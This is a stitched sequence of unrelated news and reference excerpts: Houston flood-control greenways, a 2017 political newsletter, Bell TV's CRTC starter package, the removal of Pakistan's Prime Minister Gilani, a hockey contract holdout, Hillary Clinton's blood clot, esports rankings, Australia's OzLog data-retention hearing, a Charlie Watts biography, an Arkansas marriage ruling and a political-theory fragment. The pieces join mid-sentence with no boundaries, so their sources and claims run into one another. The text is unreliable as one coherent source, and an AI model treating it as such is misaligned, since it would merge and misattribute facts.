But it was a predictable disaster. That’s because, thanks to a pro-development bent, the magnitude of stormwater runoff has increased dramatically as Houston has sprawled across 600 or so square miles of mud plain veined with rivers, sealing under asphalt the floodplains and adjoining prairies that once absorbed seasonal torrential rains and planting development in harm’s way. Land subsidence from groundwater pumping and oil and gas development and, now, sea level rise and more frequent and severe storms are applying additional pressure from Galveston Bay, which sits just east of the city of 2.2 million.
The good news? Houston had already begun shifting gears, hoping to reduce the severity of future floods by reclaiming 183 miles of natural waterways that snake through the city and 4,000 acres of adjacent green space from industrial areas through a project known as the Bayou Greenways. The goal is to absorb rain where it falls, reducing the volume rushing into stormwater detention facilities, and to encourage biking and walking as “active transit” in the parks that make up the Bayou Greenways.
With these measures, Houston is beginning to embrace a worldwide trend in urban retrofitting — layering new infrastructure on top of old to help cities weather climate change. In many places, that includes reducing greenhouse gas emissions: shifting to cleaner energy, making buildings more efficient and improving public transit. For cities facing increased threats from floods and droughts, it also means adapting to a changing world by finding new ways to manage water.
Resilient and Economically Beneficial
The Memorial Day flood led Houston to postpone its planned celebration of the new Buffalo Bayou Park, a piece of Bayou Greenways. The flood was something of a test: While much of the city suffered because of the floodwaters the park passed with flying colors, acting as a stormwater channel while park infrastructure weathered the deluge as intended, Anne Olson, president of the Buffalo Bayou Partnership, a nonprofit organization focused on redeveloping and restoring the bayou, told a local news site.
Such water management projects can pay economic dividends to cities, says Henk Ovink, a Dutchman who was recently appointed by Dutch government ministers as the first special envoy for international water affairs for the Netherlands. Having danced with the sea and four river deltas for nearly a millennium, the Netherlands has created something of a cottage industry imparting hard-won water management wisdom to other countries — among them, the United States, the Philippines, Japan, Colombia, Vietnam, Korea, Bangladesh, France and Guyana.
“Waterfronts are turning communities’ faces back to the water as they become great urban places, parks, public amenities.” – Henk Ovink
Ovink points to the economic benefits reaped by London’s Docklands redevelopment project and Essen, Germany, which was recently dubbed European Green Capital for 2017 for remediating derelict coal industry areas with green infrastructure that enhances nature and biodiversity. Essen has built green and blue corridors and taken steps to address climate change, air quality, waste management and energy as it moves to a services and financial center economy.
“Waterfronts are turning communities’ faces back to the water as they become great urban places, parks, public amenities,” Ovink says. That in turn attracts new businesses by making it easier to hire good |
ford (@SenatorLankford) June 15, 2017
It's a great bipartisan tradition I look forward to every year #CongressionalBaseballGame pic.twitter.com/fzjLjoBLLn — Raul Ruiz (@CongressmanRuiz) June 15, 2017
Ivanka Trump made an appearance:
Big thanks to @IvankaTrump for coming out to support the #CongressionalBaseballGame! pic.twitter.com/QfEEygpvGh — Dennis Ross (@RepDennisRoss) June 15, 2017
Great to see so many coming together to honor victims and heroes from yesterday's tragedy, support charity and play ball ⚾️ #CongressionalBaseballGame A post shared by Ivanka Trump (@ivankatrump) on Jun 15, 2017 at 5:25pm PDT
A Jayhawk and a Wildcat - bipartisanship at its finest for the #CongressionalBaseballGame pic.twitter.com/eSJfbuwk0u — Rep. Kevin Yoder (@RepKevinYoder) June 15, 2017
Congrats to the Democrats on a well-earned win tonight, and thanks to those who came and helped us raise a record $1.5 million for charity. pic.twitter.com/iigRVDWxNe — Jeff Flake (@JeffFlake) June 16, 2017
GOOD READS FROM ELSEWHERE:
-- Politico, "GOP sirens blaze over Georgia special election," by Alex Isenstadt: “[Republicans] are preparing for the possibility of an unnerving defeat that could spur lawmakers to distance themselves from Trump and his already-troubled legislative agenda … One private party poll [shows] 30-year-old Democrat Jon Ossoff opening up a more than five-point lead in the Republican-oriented, suburban Atlanta seat. ‘If we’re losing upper middle class, suburban seats in the South to a 30-year-old progressive liberal, we would be foolish not to be deeply concerned about the possibility that would exist for a tidal wave election for Democrats in 2018,’ said Chip Lake, a Georgia-based Republican strategist and former Capitol Hill chief of staff … The president shoulders some of the blame for the GOP’s predicament … Handel’s fade in the polls has coincided with the ratcheting up of Trump’s Russia-related troubles.”
-- The New Yorker, “Protesting Trump on His Birthday,” by Colin Moynihan: “Trump Tower no longer attracts the thousands of protesters who gathered on Fifth Avenue in the days after the election, but [some] have continued to use the building as a setting for quieter forms of protest … [many of which] take place on an outdoor fifth-floor terrace, which is one of several privately owned public spaces [within Trump’s building]. ‘When we realized we could school him inside of his own home, it seemed like an opportunity that was too good to pass up,’ [one organizer] said. In the past few weeks, he and two other activists have created a Web site, #TakeTrumpTower, which promotes a series of direct actions ‘that utilize the skyscraper as a living lab for creative demonstration …’ and invites groups to submit events to include on a calendar. Listed so far are the weekly resistance readings, … yoga sessions, meant to help prevent burnout for those participating in long-term political activism, … and a multipart performance, scheduled to coincide with Trump's birthday.”
-- The Atlantic, “Evan McMullin’s War,” by McKay Coppins: “Ever since [McMullin] quit his job as a GOP policy wonk on Capitol Hill last year to launch a long-shot presidential bid under the Never Trump banner, he has been locked in near-daily battle with Trump and his supporters. On any given day, he can be found on CNN rallying viewers to resist the president’s attacks on ‘our system of government,’ or in The New York Times warning of America’s possible descent into despotism, or on HBO’s Real Time With Bill Maher detailing the dangers of the commander in chief’s ‘bewildering’ foreign policy. The ongoing media blitz has not escaped the attention of Trump himself, who has mockingly called McMullin ‘McMuffin.’”
HOT ON THE LEFT “Oregon Becomes First State to Add Third Gender to Driver’s Licenses,” from NBC News: “Oregon became the first state in U.S. history on Thursday to offer more than two gender options on identity documents, including driver's licenses, making it the first to legally recognize non-binary, intersex and agender people on ID cards. When the history-making rule… goes into effect on July 3, Oregon residents will have the option to choose among three gender categories when applying for driver's licenses or state ID cards: male, female and ‘X’ for non-binary or unspecified.” HOT ON THE RIGHT “Shots fired at truck with 'Make America Great Again' flag in Indiana,” from Washington Examiner: “Indiana State Police said a Chevrolet Malibu with Louisiana license plates pulled up next to the truck along I-465 in Indianapolis and a male passenger pointed a handgun out the window and fired "several shots" at the blue 2001 Dodge pickup truck. No injuries were reported. The truck was also displaying an American flag along with the ‘Make America Great Again’ flag.”
DAYBOOK:
President Trump will travel to Miami to give a speech and sign a new policy on U.S. relations with Cuba. He'll return to the White House later in the day.
Vice President Pence will accompany the president to Miami and then fly to Indianapolis for an event with the Great America Committee.
QUOTE OF THE DAY: Washington Free Beacon editor Matt Continetti said yesterday on MTP Daily, "We're moving from a reality TV presidency to a Court TV presidency."
NEWS YOU CAN USE IF YOU LIVE IN D.C.:
-- Highs will be in the low-to-mid 80’s today with a chance of thunderstorms in the early evening, the Capital Weather Gang forecasts: “It’s a muggy start, maybe some patchy drizzle still around early, with southwesterly breezes around 5 mph stirring the air slightly. Under partly to mostly cloudy skies, we get up to the low-to-mid 80s for highs. Not quite hot. We may be rain-free for much of the day, until rain chances arrive again by rush hour as thunderstorms possibly roll through us during the afternoon into the evening hours.”
-- The Nationals beat the Mets 8-3, with Gio Gonzalez pitching. But, but, but: “The Nationals’ bullpen is one of the worst since 1980, and closer is the least of its problems,” Neil Greenberg argues.
-- Virginia Gov. Terry McAuliffe (D) will hand over a list of 206,000 convicted felons whose voting rights he restored to settle a civil lawsuit, Laura Vozzella reports.
-- Wine executive David Trone is toying with the idea of another run for office in Maryland, either for Montgomery county executive or, if Rep. John Delaney (D) runs for governor, the Sixth Congressional District, Bill Turque reports.
-- Gov. Larry Hogan (R) said that Maryland’s GOP is “better, stronger and more relevant” and predicted that they would sweep state elections next year, Ovetta Wiggins reports.
-- The Pennsylvania man accused of bringing a military-style rifle to Trump International Hotel was sent back to jail for posting “disturbing” images after Wednesday’s shooting in Alexandria, Keith L. Alexander reports.
-- Former D.C. Councilman Jim Graham, who led the largest gay men’s clinic during the AIDS epidemic, died this week, Paul Schwartzman and Justin Wm. Moyer report.
VIDEOS OF THE DAY:
It has been exactly two years since Trump launched his presidential campaign. And his policies today look quite a bit different than they did the day he came down that escalator:
A look at the grim history behind lawmakers who have been victims of gun violence:
Barack Obama congratulated Jay-Z on his Songwriters Hall of Fame award:
Jimmy Fallon commented on the poor timing of the president’s birthday:
And Stephen Colbert trumpeted Robert Mueller’s “all-star legal team”:Can’t wait to binge on the latest season of Ontario Legislative Assembly? Desperate to get your fix of V, replete with francophone dramas and reality shows? Never so much as raised an antenna to these channels? Bell TV might be thinking otherwise.
George Cope is CEO of Bell Canada. Bell TV just rolled out a Starter pack for television subscribers that critics say is far skimpier than others', while meeting the CRTC's minimums. ( Hand-out / BELL CANADA )
The Montreal-based telecom quietly unveiled its low-cost “Starter” TV package Sunday, primed to start piping out legislative action and local and French-language programming in keeping with the letter of new CRTC requirements. The Canadian Radio-television and Telecommunications Commission has demanded that cable and satellite service providers offer a slimmed-down package for $25 or less by March 1, with a range of pick-and-pay channels to top it up. But experts say Bell’s stripped-down deal — devoid of U.S. channels — seems to veer further from the spirit of the new regulations than other carriers and changes little for most consumers, despite the CRTC’s aim “to give Canadians more choice.”
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That choice is “things that we’ve never heard of,” said Dwayne Winseck, a professor at Carleton University’s School of Journalism and Communication. Winseck noted the absence of American broadcast stalwarts like ABC, NBC and CBS, included in basic Canadian TV packages for decades. “They’re working to give it a stillbirth,” he said of the roll-out, calling it “retrograde,” “begrudging” and “behind 1970s standards.” Last year, the CRTC laid out requirements — effective Tuesday — for a “skinny basic” package that features predominantly local and regional programming as an alternative to “big, unwieldy and expensive” bundles, CRTC chair Jean-Pierre Blais said last March. The basic grouping must include those on CRTC’s mandatory distribution list, like CBC, CTV and Global, as well as public interest stations such as CPAC and minority French- or English-language channels.
It may also include affiliates of U.S. networks, though their inclusion is not mandated. Pick-and-pay for stand-alone channels must be available later this year. The cable TV deals put forward by Bell, Rogers and other carriers may not set off a stampede toward the “starter” packages. But they might hook a small group of customers who might not have subscribed at all, “or might have cut the cord but now will hang on a little longer,” says technology analyst Carmi Levy.
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“The CRTC asked for ‘skinny basic,’ and skinny is exactly what consumers are going to get,” Levy said. “If you’re hoping for a screaming deal on a premium specialty channel like HBO, you will be sadly disappointed.” Bell’s entry-level package, posted online without fanfare two days before deadline, costs $24.95 per month. It counts the Weather Network, TVO and 10 francophone channels among its 26 offerings, according to the Bell website. Extra à la carte channels for $4 or $7 range from TSN to Discovery and CNN. Like other Bell cable packages, the Starter kit requires a Bell Internet subscription, starting at $64.95 per month, plus $15 monthly for PVR rental. Bundling discounts or other “sweetener” deals do not appear on offer, making it less attractive to customers like Larry Pinard. The 62-year-old Etobicoke resident currently shells out $194 per month for Bell’s low-end TV package bundled with high-speed Internet and long distance. Pinard said it was “outrageous” to tack on $7 each for channels like CNN on top of the Starter package. “If you start adding that up, it’s just crazy.” “Our new TV Starter offering is for customers who want to either create their own package by selecting channels and packs individually or just have a basic TV service,” Bell spokesperson Jacqueline Michelis told the Star in an email Sunday. “Bell TV packages all comply with CRTC rules.” Toronto-based Rogers Communications said last week it will offer customers the entry-level service for $24.99 per month (plus digital box rental or purchase). The basic plan also includes U.S. channels such as Fox, NBC and PBS, unlike Bell. Small Internet-based TV service VMedia of Toronto has already unveiled a package priced well under the CRTC cap that includes the mandatory Canadian channels plus five American networks. Calgary-based Shaw Communications on its website now offers a Limited TV plan for $25 per month with 40 channels, including major U.S. networks like ABC and Fox. Sales staff at Bell and Rogers were recently instructed to downplay the Spartan packages, with virtually no advertising, CBC News has reported. CRTC chairman Jean-Pierre Blais has said the spirit of the CRTC decision ought to be respected, citing an “obligation to promote” the basic service. If the CRTC deems some companies to be disregarding the intent of the decision, the regulator will take action against them, he added. Levy noted that carriers must walk a fine line between meeting the CRTC’s requirements and maintaining a viable business model in a period of intense, Internet-driven change. “I don’t think anyone expected miracles here. I don’t think it’s fair to fault anyone,” he said. “There is no free lunch in entertainment.” With files from Michael Lewis and The Canadian Press. Note - February 29, 2016: This article was edited from a previous version that referred to Bell TV as Bell Media.
Read more about:AAMIR QURESHI / AFP / Getty Images Pakistani Prime Minister Yousuf Raza Gilani waves upon his arrival at the Supreme Court for a hearing in Islamabad, Pakistan, April 26, 2012.
For anyone hoping to see a Pakistani civilian government complete a full five-year term without any interruption, this verdict was sorely disappointing. On Tuesday, Pakistan’s Supreme Court ruled that Yousaf Raza Gilani can no longer continue as Prime Minister, raising tensions between the government and the judiciary to their highest point and leaving the country vulnerable to a new phase of political instability.
In its unusually terse ruling, the Supreme Court instructed President Asif Ali Zardari to arrange a successor for Gilani. While there is little prospect of Zardari’s government falling, his ruling Pakistan People’s Party (PPP) has accepted that there is no Prime Minister at the moment, and, therefore, no cabinet. The PPP is currently in crisis talks with its political allies to decide on a new Prime Minister. The challenge for the ruling coalition will be to hold on to its numbers, achieve a consensus on a new premier and survive a vote of confidence expected in the coming days.
(READ: Pakistan’s Supreme Court vs. Everybody.)
The court’s ruling raises the pressure on an already weak, unpopular and faltering government. In recent days, the country has seen a rash of violent riots over power shortages. In some areas in Punjab, Pakistan’s wealthiest and most populous province, there is no electricity for up to 20 hours. The economy is in trouble. Because of the court’s ruling, a new budget may have to be hashed out and authorized by Gilani’s replacement. Relations with the U.S. languish at an all time low, with NATO supply routes to Afghanistan via Pakistan still closed. And Pakistan-based militancy remains a poorly checked menace. Until some measure of political stability is recovered, these and other challenges will remain neglected.
On the face of it, the Supreme Court was punishing Gilani for obstinately refusing to pursue corruption allegations against his boss, President Zardari. It repeatedly prodded the government to write a letter to Swiss authorities, urging them to reopen an old money laundering case involving Zardari. The government denies the charges, and argues that, as President, Zardari enjoys full immunity under the constitution. Gilani declined to follow the instructions, was convicted of contempt in April, and has now been unceremoniously tossed out of the Prime Minister’s residence, which he occupied longer than any of his predecessors.
But to many observers, the Supreme Court’s decision was controversial. It stood out as the latest in a series of interruptions of the democratic process by unelected and unaccountable institutions. “This isn’t really about the law,” says Farzana Shaikh, a Pakistan expert at London’s Royal Institute of International Affairs. “This is about politics, and this is a power play by the Supreme Court.” In the past, it was the army that would ritually intervene, either through discreet backstage maneuvers, or even direct military coups. “Now, it is the Supreme Court that has decided that it better represents the people of Pakistan than those they elect,” says Shaikh.
The court’s decision is also being scrutinized for its seemingly unchecked desire to eliminate Gilani. The Supreme Court, legal experts say, had other options. The judges could have reserved judgment on Gilani’s legitimacy and referred the matter to Pakistan’s Election Commission, where the government would have the option of appeal. They could have accepted the Speaker of Parliament’s decision to allow Gilani to remain in office after he was convicted. By taking the unusual step of dismissing Gilani on its own, the court seemed to suggest it was not prepared to countenance another outcome.
There is much speculation that the Supreme Court hastened to remove Gilani after the emergence of lurid corruption allegations involving Chief Justice Iftikhar Chaudhry’s son, Arsalan. A highly influential property billionaire, Malik Riaz Hussain, has stepped forward over recent days to allege that Arsalan Chaudhry has been “blackmailing” him to the tune of $3.7 million. As evidence, Hussain has furnished receipts purportedly showing that the property tycoon financed expensive trips to London and Montecarlo. In return, Hussain claims, he was told that several outstanding legal cases against him would be dropped.
Supporters of the Chief Justice deny his involvement and counter the charges by saying that Hussain – who has close connections to the government — had been attempting to suborn Chaudhry’s son, at the urging of Gilani’s allies. Whatever the truth of the matter, the scandal has tainted the judiciary. One of the sources of Chaudhry’s popularity was his image as a crusader against corruption. Now, questions are being raised about the judge’s involvement, complicity or knowledge of the flow of funds. With the risk of the scandal eroding his authority, critics wonder if Tuesday’s verdict carries an element of revenge.
(READ: On the road with Iftikhar Chaudhry, Pakistan’s controversial Chief Justice.)
As elections loom, the verdict could be a mixed blessing for the ruling PPP. The dismissal of its Prime Minister could taint the party and hurt its chances. At the same time, though, it may cast itself as a political victim of shadowy anti-democratic forces – something that could help rally the party’s base at the next elections (which have to take place before next March). The fact that Gilani comes from the politically crucial battleground of southern Punjab may help the party’s standing there. There is much talk that his successor may also come from the same region.
But whoever emerges as Pakistan’s next Prime Minister will face a formidable array of challenges: an assertive Supreme Court will demand they take action against their own boss; overweening generals will be keen to take advantage of a weaker replacement; a teetering economy which may need yet another IMF bailout; the summer of energy-related riots will rage on; the window for negotiations with the U.S. will narrow; the ruling coalition will become shakier; and then there’s also the little matter of Islamist militancy. Perhaps Gilani will express some relief that he’s no longer in charge.With one week until the Lightning's season opener, wing Nikita Kucherov remains in Russia, the unsigned restricted free agent holding out until he has a contract.
It's far from an ideal situation for Tampa Bay, which could wrap up its exhibition schedule Saturday against Nashville without its 23-year-old leading scorer from last season.
But take it from former captain Vinny Lecavalier, it's not easy on the player, either. Lecavalier held out as a 21-year-old restricted free agent in 2001, not signing until a day before the first regular-season game.
"You want to play. You don't want to be sitting at home and not being with your teammates," Lecavalier said Wednesday. "It's the business part of it. Everyone wishes you got your contract done before. But that's not the way it always happens. … I'm sure (Kucherov) is training and making sure he's ready, so when he signs, he'll be ready to go."
During his holdout, Lecavalier worked out at home in Montreal, skating with college players while preparing for camp. Kucherov at least played for Russia in last month's World Cup of Hockey, an experience that included a training camp and three highly competitive tournament games.
Read more:
Would another team make an offer sheet for Kucherov?
As is Kucherov, Lecavalier was coming off a season in which he ranked second on the team in goals, yet was making a bargain entry-level salary, $975,000. Kucherov made $700,000 last season, when he scored 30 goals, second on the Lightning to Steven Stamkos' 36.
Kucherov could command $6 million or more per season. The Lightning has between $5 million and $5.5 million of salary cap room left. General manager Steve Yzerman is hopeful about getting a deal done, though nothing appeared imminent Wednesday. Kucherov wants to stay with the Lightning.
"Both sides have to be happy to get a deal done," Lecavalier said.
The Lightning didn't have a salary cap to deal with in 2001, just its budget, said Jay Feaster, then an assistant GM who negotiated contracts. Tampa Bay also wasn't the Stanley Cup contender it is today, having finished 24-47-6-5, fifth in the Southeast Division in 2000-01. Feaster — also a former Lightning GM and its current executive director of community hockey development — said he knew it was a distinct possibility Lecavalier's holdout could lead to the captain missing the opener. "It certainly wasn't the case of 'Let's just wait him out,' " Feaster said. "We were communicating constantly and consistently trying to figure out a way to get to a 'Yes.' "
Lecavalier said the holdout didn't create hard feelings with the team. He was stripped of his captaincy early that season, but Feaster said that had "nothing to do with the holdout" but was an organizational decision made to take pressure off the future face of the franchise. Lecavalier's trade request that December had more to do with his complicated relationship with then-coach John Tortorella, the two eventually gelling and hoisting the 2004 Stanley Cup.
Feaster said that from a management perspective, it's understood why players without a contract stay away, partly to protect themselves and spur negotiations. Kucherov is one of several current restricted free agents holding out, including Calgary wing Johnny Gaudreau.
"It's a business reality," Feaster said. "There was a certain amount of money we were able to spend (in 2001), and we were mindful of contracts we had coming. The same thing with players. Just as there may be a window to win the Cup, there's a window a player has to maximize his income."Michal Sula/MAFRA/isifa/Getty Images
The blood clot that put Secretary of State Hillary Clinton in the hospital was found in her head between her brain and skull behind the right ear, her doctors said today.
"It did not result in a stroke, or neurological damage," her doctors, Drs. Lisa Bardack and Gigi El-Bayoumi, said in a joint statement. "To help dissolve this clot, her medical team began treating the secretary with blood thinners."
The doctors said Clinton will be released "once the medication dose has been established."
Clinton, 65, was admitted to New York Presbyterian hospital on Sunday for treatment of a blood clot stemming from a concussion she sustained a few weeks ago, a Clinton aide said.
"In the course of a routine follow-up MRI on Sunday, the scan revealed that a right transverse sinus venous thrombosis had formed. This is a clot in the vein that is situated in the space between the brain and the skull behind the right ear," the doctors said.
"In all other aspects of her recovery, the secretary is making excellent progress and we are confident she will make a full recovery. She is in good spirits, engaging with her doctors, her family, and her staff," the statement said.
Clinton was supposed to be back at work at the State Department this week, but now the date of her return in unknown.
Details of Clinton's blood clot had not been immediately released after her hospitalization.
Members of Congress wished Clinton a speedy recovery today, while pressing their call for her to testify before Congress about the U.S. consulate attack in Benghazi.
"We just want to say how much Secretary Clinton is in our prayers this morning and hope she recovers rapidly from this health problem," Sen. Joe Lieberman, I-Conn., said at a press conference today. Lieberman is chairman of the Senate Homeland Security Committee.
"Secretary Clinton has made clear that she will testify. And I think that's a good idea," said Lieberman.
House Foreign Affairs Chairman Rep. Illeana Ros-Lehtinen, R.-Fla., tweeted get well wishes to Clinton Sunday night, but also mentioned Benghazi. "Wishing Secretary Clinton a full + speedy recovery!," Ros-Lehtinen wrote. "She's looking forward 2 testify on # Benghazi and is bummed she can't travel now like b4."
The committee released a new report last week which concludes that the security system was "flashing red" in Benghazi shortly before Ambassador Christopher Stevens and three other Americans were killed in an attack by terrorists on Sept. 11. The report cited a "rising crescendo of evidence" from the U.S. intelligence community that Benghazi had become "dangerous and unstable, and that a significant attack against American personnel there was becoming more and more likely."
Lieberman called the administration's reaction to the flashing red indicators as "woefully inadequate."
Sen. Susan Collins, R-Maine, said she thinks other must be held accountable at the State Department, in addition to those who have already resigned following the release of the State Department's internal investigation. The Accountability Review Board issues a scathing report which faulted some senior management at the State Department for the breakdown of security and resulted in the four officials stepping down.
"My hope is, and my expectation is, that once Secretary Clinton is well enough, that she will carefully review our report and see if there are other officials that need to be held accountable," Collins said. "It is difficult for us to make that judgment, but I believe that it is likely that there are others that do need to be held accountable."
The congressional report found that the environment in Benghazi was dangerous and that local security was inadequate for protection. The report also found that the departments of Defense and State had not jointly assessed the availability and the accessibility of U.S. assets to support the mission facility in Benghazi in the event of an attack, such as the one that occurred.
"We should have closed this facility in Benghazi until we were prepared to provide the security necessary to give minimal protection, adequate protection to American personnel," Lieberman said.
The report concludes that it is clear that terrorists were responsible for the attack on the consulate and that the administration response bouncing between the State Department, the Pentagon and the intelligence community added to some "confusion" over the attack.
Many conservatives have been skeptical of Clinton's illness, with former U.N. ambassador John Bolton telling Fox News Clinton had come down with a "diplomatic illness" to avoid testifying on Dec. 2o, a charge the State Department vigorously denied.
"These people do not know what they are talking about," spokesperson Victoria Nuland responded.
Dr. Howard Markel, a practicing doctor and medical historian at the University of Michigan, tells ABC News that history shows the best response to rumors is transparency. The State Department did not disclose that Clinton had a concussion until several days after it occurred and currently waited a day to disclose what part of her body her blood clot is in, leaving the media and others to make assumptions about the seriousness of her condition.
"In the absence of information, this kind of speculation often takes up the vacuum," says Markel, who points out that Clinton is receiving excellent medical care and that her condition sounds treatable.
State Department officials say they have been transparent about the secretary's health, keeping the press and the public aware of all major developments within a reasonable amount of time, but they also maintain that Clinton is entitled to some degree of medical privacy, a claim Markel says held up historically but does not today.
"If you're a private person, you are entitled to your privacy as a patient. When you're a public figure and you're working on behalf of the American people, you give up many aspects of your privacy," he said.Thorin's CS:GO Top 10 World Rankings is a series of periodically released articles, where Counter-Strike analyst Duncan "Thorin" Shields provides his current perspective on what he believes are the 10 best Counter-Strike: Global Offensive teams in the world.
List of articles [ edit ]
# 2018 46 December 11 Article 45 November 21 Article 44 October 18 Article 43 August 9 Article 42 July 19 Article # 2017 41 Dec 11 Article 40 Oct 08 Article 39 July 27 Article 38 July 12 Article 37 June 13 Article 36 May 11 Article 35 April 21 Article 34 Mar 06 Article 33 Feb 09 Article # 2016 32 Dec 15 Article 31 Nov 21 Article 30 Oct 31 Article 29 Oct 07 Article 28 Sept 22 Article 27 July 20 Article 26 June 27 Article 25 May 23 Article 24 May 02 Article 23 April 12 Article 22 Mar 07 Article 21 Jan 27 Article # 2015 20 Dec 22 Article 19 Oct 26 Article 18 Oct 02 Article 17 Sept 14 Article 16 Aug 24 Article 15 Aug 04 Article 14 July 21 Article 13 July 16 Article 12 July 09 Article 11 June 22 Article 10 June 13 Article 9 May 07 Article 8 April 30 Article 7 April 23 Article 6 Mar 18 Article 5 Feb 12 Article 4 Feb 06 Article # 2014 3 Dec 13 Article 2 Dec 02 Article 1 Nov 12 Article
Rankings [ edit ]A flood of new information emerged this afternoon in Federal Parliament about the controversial and secretive proposal by the Attorney-General’s Department (AGD) to force internet service providers to store a wealth of information pertaining to Australians’ emails and telephone calls.
The proposal — known popularly as ‘OzLog’ — first came to light in June this year, when AGD confirmed it had been examining the European Directive on Data Retention (PDF) to consider whether it would be beneficial for Australia to adopt a similar regime. The directive requires telcos to record data such as the source, destination and timing of all emails and telephone calls – even including internet telephony.
In the first day of an inquiry into online privacy held today by the Senate’s Environment and Communications References Committee, senior AGD public servant Catherine Smith admitted she could not precisely remember when discussions around the issue commenced.
“Can I say it’s been around for a very long time — I can’t remember how it started,” Smith said. The public servant is assistant secretary of AGD’s Telecommunications and Surveillance Law Branch.
Under sustained pressure from Greens Senator Scott Ludlam, Smith and her colleague Wendy Kelly — director of the same branch — said the origins of the project related to the way that law enforcement authorities and certain branches of government such as AGD had been working with the telecommunications industry for years on the issue of telecommunications interception to aid in crime-fighting.
The industry, Smith said, was in the habit of forewarning law enforcement when new technologies would come into play that might diminish the ability to investigate crime.
Sometimes measures to deal with new technologies would end up becoming legislation. Smith described the legislation around telecommunications legislation as being “constantly under review” due to the impact of new technologies — a process that Ludlam described as parliament receiving amendments to the Telecommunications (Interception and Access) Act “every twenty minutes”.
Australian Federal Police assistant commissioner, Neil Gaughan — the national manager of the AFP’s High Tech Crime Operations centre, said the data retention proposal in its essential nature was just law enforcement asking for “the status quo to remain” in terms of its ability to conduct investigations using telecommunications interception.
“Data retention will not give agencies new powers — it will ensure that existing capabilities remains available,” Smith agreed.
Examples used during the session, for example, related to the way that the onset of internet telephony was making it hard for law enforcement to track phone calls in the same way they had with traditional analogue telephony.
Kelly described the data retention proposal in terms of the “dataset” of information that law enforcement agencies could collect. The set of information — for example, call logs — that the telco sector was collecting had changed, and different companies were storing it for different period, she said — ranging from days to years.
“You’re seeking consistency across the industry?” asked Ludlam. “Correct,” she replied.
The AGD representatives committed to providing the committee — which also includes Liberal Senator Mary Jo Fisher, for example, and Labor Senator Doug Cameron — with a private and confidential briefing at a later date to give it a better idea of the data being collected.
“It contains information that could be prejudicial to law enforcement if it was released,” said Smith.
Gaughan gave an example of an operation — dubbed ‘Centurion’ — that the AFP carried out in 2008 which it needed the sort of data that would be collected under the OzLog scheme. The agency started off with just “IP addresses”, he said, but ended up being able to execute some 340 search warrants for child pornographic materials, arresting 140 people and confiscating 100,000 illegal images.
In addition, he said, the operation saved four children who were potentially at risk of child abuse.
It has previously been unclear to what extent AGD had consulted regarding the data retention proposal — with some ISPs believed to have been sworn to non-disclosure agreements regarding the matter. However, today Smith said wide consultation had been undertaken — including ISPs and representative groups such as the Communications Alliance, the Department of Prime Minister and Cabinet and the Office of the Privacy Commissioner.
It was unclear, however, what the next steps in the development of the proposal will be. Smith said the department was still considering the merits of the data retention proposal. “There’s been no decision on where and how we’ll take this forward,” she said. “I don’t have any instructions — we’re still gathering information.”
When pressured by Ludlam on the matter of public consultation, Smith said that would be a matter for the Government to decide. “We are still looking at the options — to take something forward to a broader view, wouldn’t be appropriate,” she said.
However, the AGD representatives did give a nod towards airing the proposal in public — stating they were committed to “an open, transparent and consultative process”.
Image credit: Adrian van Leen, royalty freeCharles Robert Watts (born 2 June 1941) is an English drummer, best known as a member of the Rolling Stones since 1963. Originally trained as a graphic artist, he started playing drums in London's rhythm and blues clubs, where he met Brian Jones, Mick Jagger, and Keith Richards. In January 1963, he joined their fledgling group, the Rolling Stones, as drummer, while doubling as designer of their record sleeves and tour stages. He has also toured with his own group, the Charlie Watts Quintet, and appeared in London at Ronnie Scott's Jazz Club with the Charlie Watts Tentet. In 2006, Watts was elected into the Modern Drummer Hall of Fame; in the same year, Vanity Fair elected him into the International Best Dressed List Hall of Fame. In the estimation of noted music critic Robert Christgau, Watts is "rock's greatest drummer." In 2016, he was ranked 12th on Rolling Stone's "100 Greatest Drummers of All Time" list.[1] Contents
Early life Edit
Musical career Edit
Private life and public image Edit
Discography Edit
See also: The Rolling Stones discography In addition to his work with The Rolling Stones, Watts has released the following albums: The Charlie Watts Orchestra Live at Fulham Town Hall (1986/Columbia Records)
(1986/Columbia Records) The Charlie Watts Quintet – From One Charlie (1991/Continuum Records)
(1991/Continuum Records) The Charlie Watts Quintet – A Tribute to Charlie Parker with Strings (1992/Continuum Records)
(1992/Continuum Records) The Charlie Watts Quintet – Warm and Tender (1993/Continuum Records)
(1993/Continuum Records) The Charlie Watts Quintet – Long Ago and Far Away (1996/Virgin Records)
(1996/Virgin Records) The Charlie Watts-Jim Keltner Project (2000/Cyber Octave Records)
(2000/Cyber Octave Records) The Charlie Watts Tentet – Watts at Scott's (2004/Sanctuary Records)
(2004/Sanctuary Records) The ABC&D of Boogie Woogie – The Magic of Boogie Woogie (2010/Vagabond Records)
(2010/Vagabond Records) The ABC&D of Boogie Woogie Live in Paris (2012/Columbia Records)
(2012/Columbia Records) Charlie Watts meets the Danish Radio Big Band (Live At Danish Radio Concert Hall, Copenhagen / 2010) (2017/Impuplse)High court turned down request from attorney general to halt same-sex marriage licenses.
Andria Stock, left, and Chantel Jandak of Jacksonport, Ark., laugh together as they are married May 12, 2014, by Joey Cole, center, in the rotunda of the Pulaski County Courthouse in Little Rock, Ark. (Photo11: Stephen B. Thornton, AP)
LITTLE ROCK, Ark. -- The Arkansas Supreme Court rejected the state attorney general's request Wednesday for a stay of a judge's ruling that overturned Arkansas' constitutional ban on gay marriage.
The high court turned down the request from Attorney General Dustin McDaniel that would have halted the issuance of same-sex marriage licenses.
Experts say, however, it was far from a final ruling.
Pulaski County Circuit Judge Chris Piazza had ruled last week that a voter-approved |
to which it was put made it into non-property? Could the King’s subjects use it for their own advantage as they saw fit? Would be the fact that it was juridical rather than physical persons ‘who’ owned property to the exclusion of people who did not own any means of production, negate the fact of property. It seems that the essence of ownership in class societies such as capitalism and Soviet-style régimes is the separatedness of property from those handling but not owning the means of production in exchange for a salary, and not necessarily the political and juridical character of the owners. Apologists for these Soviet-type régimes said and perhaps believed that the alleged political power of the proletariat changed the character of this mysterious entity, ‘the state’ into not simply the political and administrative representation of this new ruling class but into a new kind of owner which did not appropriate surplus value for a ‘non-proletarian’ or ‘non-socialist’ purpose which of course meant in practice that most of it was re-invested like always. Now the proletariat naturally did not possess and did not exercise any kind of political power as the Workers’ Opposition has pointed out in Russia already in 1919, but it appears rather obvious that the political direction and the ideology of the government does not change in any conceivable way the exclusion of the propertyless workers from the enjoyment, management or, God forbid, the sale of ‘their’ mystical property. Now it is perfectly true that the functions of the owner were exercised by civil servants or apparatchiki according to instructions from on high and they did not own the economic assets of society and they could not directly use them for their own benefit, nor could they dispose of it at will, in other words, it was not the ‘apparat’ or the ‘nomenklatura’ that was, as it were, the collective owner of the means of production. But this is not at all A precondition for an 